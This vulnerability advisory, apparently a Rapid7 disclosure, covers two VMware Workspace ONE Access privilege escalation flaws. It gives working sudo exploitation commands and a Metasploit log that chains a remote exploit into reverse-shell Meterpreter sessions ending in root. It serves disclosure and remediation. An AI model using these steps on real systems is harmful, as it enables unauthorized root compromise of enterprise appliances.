logo
DATABASE RESOURCES PRICING ABOUT US

CVE-2022-31660 and CVE-2022-31661 (FIXED): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE

Description

![CVE-2022-31660 and CVE-2022-31661 \(FIXED\): VMware Workspace ONE Access, Identity Manager, and vRealize Automation LPE](https://blog.rapid7.com/content/images/2022/08/vmware-lpe.jpg) The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged `horizon` user can escalate their permissions to those of the `root` user. Notably, the `horizon` user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user. At the time of this writing, [CVE-2022-22954](<https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954>) is one such RCE vulnerability (that notably has a corresponding [Metasploit module here](<https://github.com/rapid7/metasploit-framework/blob/62bfe03b50a22785b59a069319520531f2663b2b/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb>)) that can be easily chained with one or both of the issues described herein. ## Product description [VMWare Workspace ONE Access](<https://www.vmware.com/products/workspace-one/access.html>) is a platform that provides organizations with the means to provide their employees fast and easy access to applications they need. VMware Workspace ONE Access was formerly known as VMware Identity Manager. ## Impact These vulnerabilities are local privilege escalation flaws, and by themselves, present little risk in an otherwise secure environment. In both cases, the local user must be `horizon` for successful exploitation. That said, it’s important to note that the `horizon` user runs the externally accessible web application, which has seen several recent vulnerabilities — namely [CVE-2022-22954](<https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954>), which, when exploited, allows for remote code execution as the `horizon` user. Thus, chaining an exploit for CVE-2022-22954 with either of these vulnerabilities can allow a remote attacker to go from no access to root access in two steps. ## Credit These issues were disclosed by VMware on Tuesday, August 2, 2022 within the [VMSA-2022-0021](<https://www.vmware.com/security/advisories/VMSA-2022-0021.html>) bulletin. In June, Spencer McIntyre of Rapid7 discovered these issues while researching an unrelated vulnerability. They were disclosed in accordance with [Rapid7’s vulnerability disclosure policy](<https://www.rapid7.com/security/disclosure/>). ## CVE-2022-31660 CVE-2022-31660 arises from the fact that the permissions on the file `/opt/vmware/certproxy/bin/cert-proxy.sh` are such that the `horizon` user is both the owner and has access to invoke this file. To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the `horizon` user: sudo /usr/local/horizon/scripts/certproxyService.sh restart Note that, depending on the patch level of the system, the certproxyService.sh script may be located at an alternative path and require a slightly different command: sudo /opt/vmware/certproxy/bin/certproxyService.sh restart In both cases, the horizon user is able to invoke the `certproxyService.sh` script from sudo without a password. This can be verified by executing `sudo -n --list`. The `certproxyService.sh` script invokes the `systemctl` command to restart the service based on its configuration file. The service configuration file, located at `/run/systemd/generator.late/vmware-certproxy.service`, dispatches to `/etc/rc.d/init.d/vmware-certproxy` through the `ExecStart` and `ExecStop` directives, which in turn executes `/opt/vmware/certproxy/bin/cert-proxy.sh`. ### Proof of concept To demonstrate this vulnerability, a Metasploit module was written and submitted on GitHub in [PR #16854](<https://github.com/rapid7/metasploit-framework/pull/16854>). With an existing Meterpreter session, no options other than the SESSION need to be specified. Everything else will be automatically determined at runtime. In this scenario, the original Meterpreter session was obtained with the [module for CVE-2022-22954](<https://github.com/rapid7/metasploit-framework/blob/6532365dc84c2052018456434363e4bfeca85ad4/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb>), released earlier this year. [*] Sending stage (40132 bytes) to 192.168.159.98 [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400 meterpreter > sysinfo Computer : photon-machine OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021 Architecture : x64 System Language : en_US Meterpreter : python/linux meterpreter > getuid Server username: horizon meterpreter > background [*] Backgrounding session 1... msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1 SESSION => -1 msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Backing up the original file... [*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ... [*] Triggering the payload... [*] Sending stage (40132 bytes) to 192.168.250.237 [*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400 [*] Restoring file contents... [*] Restoring file permissions... meterpreter > getuid Server username: root meterpreter > ## CVE-2022-31661 CVE-2022-31660 arises from the fact that the `/usr/local/horizon/scripts/getProtectedLogFiles.hzn` script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the `horizon` user, effectively granting them write permissions to all contents. To demonstrate and exploit this vulnerability, we can execute the following command as the `horizon` user: sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/ At this point, the horizon user has write access (through ownership) to a variety of scripts that also have the right to invoke using sudo without a password. These scripts can be verified by executing `sudo -n --list`. A careful attacker would have backed up the ownership information for each file in the directory they intend to target and restored them once they had obtained root-level permissions. The root cause of this vulnerability is that the `exportProtectedLogs` subcommand invokes the `getProtectedLogs` function that will change the ownership information to the `TOMCAT_USER`, which happens to be `horizon`. Excerpt from `getProtectedLogFiles.hzn`: function getProtectedLogs() { chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION rm -f $TARGET_DIR_LOCATION/messages* rm -f $TARGET_DIR_LOCATION/boot* rm -rf $TARGET_DIR_LOCATION/journal* cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/ } ## Remediation Users should apply patches released in [VMSA-2022-0021](<https://www.vmware.com/security/advisories/VMSA-2022-0021.html>) to remediate these vulnerabilities. If they are unable to, users should segment the appliance from remote access, especially if known issues in the web front end like CVE-2022-22954 also remain unpatched. Note that fixing these vulnerabilities helps shore up internal, local defenses against attacks targeting external interfaces. For practical purposes, these issues are merely internal, local privilege escalation issues, so enterprises running VMWare Workspace One Access installations with current patch levels should schedule updates addressing these issues as part of routine patch cycles. ## Rapid7 customers InsightVM and Nexpose customers can assess their exposure to vulnerabilities described in [VMSA-2022-0021](<https://www.vmware.com/security/advisories/VMSA-2022-0021.html>) with authenticated, version-based coverage released on August 4, 2022 (ContentOnly-content-1.1.2606-202208041718). ## Disclosure timeline * **May 20, 2022** \- Issue discovered by Spencer McIntyre of Rapid7 * **June 28, 2022** \- Rapid7 discloses the vulnerability to VMware * **June 29, 2022** \- VMware acknowledges receiving the details and begins an * investigation * **June 30, 2022** \- VMware confirms that they have reproduced the issues, requests that Rapid7 not involve CERT for simplicity’s sake * **July 1, 2022** \- Rapid7 replies, agreeing to leave CERT out * **July 22, 2022** \- VMware states they will publish an advisory once the issues have been fixed, asks whom to credit * **July 22, 2022** \- Rapid7 responds confirming credit, inquires about a target date for a fix * **August 2, 2022** \- VMware discloses these vulnerabilities as part of VMSA-2022-0021 (without alerting Rapid7 of pending disclosure) * **August 2, 2022** \- Metasploit module submitted on GitHub in [PR #16854](<https://github.com/rapid7/metasploit-framework/pull/16854>) * **August 5, 2022** \- This disclosure blog #### NEVER MISS A BLOG Get the latest stories, expertise, and news about security today. Subscribe


Related